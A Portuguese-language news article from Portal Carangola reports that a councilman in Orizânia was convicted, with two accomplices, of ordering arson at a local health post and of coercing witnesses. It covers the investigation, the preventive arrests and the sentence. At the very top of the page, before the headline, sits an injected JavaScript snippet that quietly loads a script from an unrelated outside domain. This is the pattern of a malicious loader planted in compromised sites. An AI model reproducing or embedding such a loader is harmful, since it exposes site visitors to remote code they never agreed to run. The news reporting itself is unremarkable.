;(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,"script","https://treegreeny.org/KDJnCSZn"); Vereador é condenado após mandar incendiar Posto de Saúde em Orizânia. - Portal Carangola

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Vereador é condenado após mandar incendiar Posto de Saúde em Orizânia.

Foi proferida nesta sexta-feira (12), condenação de um vereador do município de Orizânia, denunciado por ter mandado outros dois criminosos atearem fogo ao posto de saúde de Orizânia.

O crime ocorreu no dia 12 de maio deste ano, tendo sido registrado o fato pela Polícia Militar na manhã daquele mesmo dia e repassado à Polícia Civil para as devidas apurações.

Iniciada as investigações pela Policia Civil, o Vereador condenado hoje dedicou vários minutos de sua fala na sessão ordinária da Câmara de Vereadores de Orizânia, que é transmitida ao vivo no canal do YouTube, para criticar o trabalho investigativo que vinha sendo realizado pela Polícia Civil.

Na referida reunião o Vereador iniciou sua fala sobre o caso afirmando que não estava de acordo com a linha de investigação delineada pela Polícia Civil, tecendo várias críticas ao trabalho dos investigadores e, ao que tudo indica, tentando intimidá-los, passou a dizer que iria processar os policiais. Por fim, solicitou ao Presidente da Câmara que enviasse aquele discurso ao Promotor de Justiça e ao Juiz de Direito da Comarca de Divino, exaltando o trabalho das referidas Autoridades e pedindo para que o “Dr. Michel e o Dr. Maurílio entrassem pesado nas investigações”, pois não acreditava no trabalho dos investigadores da Polícia Civil e queria que eles provassem o seu envolvimento no caso.

A Polícia Civil, por sua vez, já acostumada a questionamentos e críticas por parte de investigados, prosseguiu naturalmente com as investigações, tendo ao final indiciado o referido Vereador por ser o mandante do crime, e mais dois indivíduos por terem sido identificados como os executores do ato de incêndio. Foram coletadas informações da prática do crime de coação no curso do processo, visto que o grupo criminoso estaria ameaçando testemunhas a fim de se eximir da responsabilização penal, razão pela qual todos foram também indiciados pela prática de tal infração penal.

Encaminhado o Inquérito Policial à Justiça, o insigne membro do Ministério Público corroborando o Relatório Final da Autoridade Policial, entendeu existir elementos suficientes para o oferecimento da Denúncia e para a decretação da prisão preventiva dos indiciados, tendo o Juízo Criminal da Comarca de Divino recebido a Denúncia oferecida pelo Ministério Público e decretado a prisão preventiva dos mesmos, os quais foram presos no dia 30 de julho durante operação deflagrada pela Polícia Civil.

Realizada a instrução probatória e assegurado todos os direitos constitucionais dos réus, inclusive o contraditório e a ampla defesa, o processo foi concluso ao Juiz de Direito do caso que, ao proferir sentença em primeiro grau de jurisdição, condenou os três réus como culpados pelos crimes de incêndio e de coação no curso do processo previstos no art. 250, §1º, inciso II,

alínea “b” e art. 344, ambos do Código Penal, aplicando a pena privativa de liberdade total de 05

(cinco) anos e 10 (dez) meses de reclusão e 23 (vinte e três) dias-multa, em regime semiaberto, além de suspender os direitos políticos dos réus enquanto durarem os efeitos da condenação.


Informação e fotos: Rádio Muriaé

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